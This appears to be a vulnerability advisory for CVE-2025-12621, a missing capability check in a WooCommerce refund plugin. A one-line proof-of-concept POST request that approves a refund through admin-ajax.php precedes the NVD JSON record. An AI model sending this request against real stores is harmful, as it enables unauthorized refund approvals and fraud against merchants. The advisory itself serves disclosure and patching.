CVE-2025-12621

POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Cookie: [authenticated user cookie] action=create_refund&refund_id=123&status=approved

{"cve": {"id": "CVE-2025-12621", "sourceIdentifier": "[email protected]", "published": "2025-11-08T08:15:45.023", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flexible Refund and Return Order for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a misconfigured capability check on the 'create_refund' function in all versions up to, and including, 1.0.42. This makes it possible for authenticated attackers, with Contributor-level access and above, to update the status of refund requests, including approving and refusing refunds."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/flexible-refund-and-return-order-for-woocommerce/trunk/vendor_prefixed/wpdesk/flexible-refunds-core/src/Integration/Ajax.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old=3378649%40flexible-refund-and-return-order-for-woocommerce%2Ftags%2F1.0.42&new=3390898%40flexible-refund-and-return-order-for-woocommerce%2Ftags%2F1.0.43", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8498c671-b46e-420c-a482-7c6983596753?source=cve", "source": "[email protected]"}]}}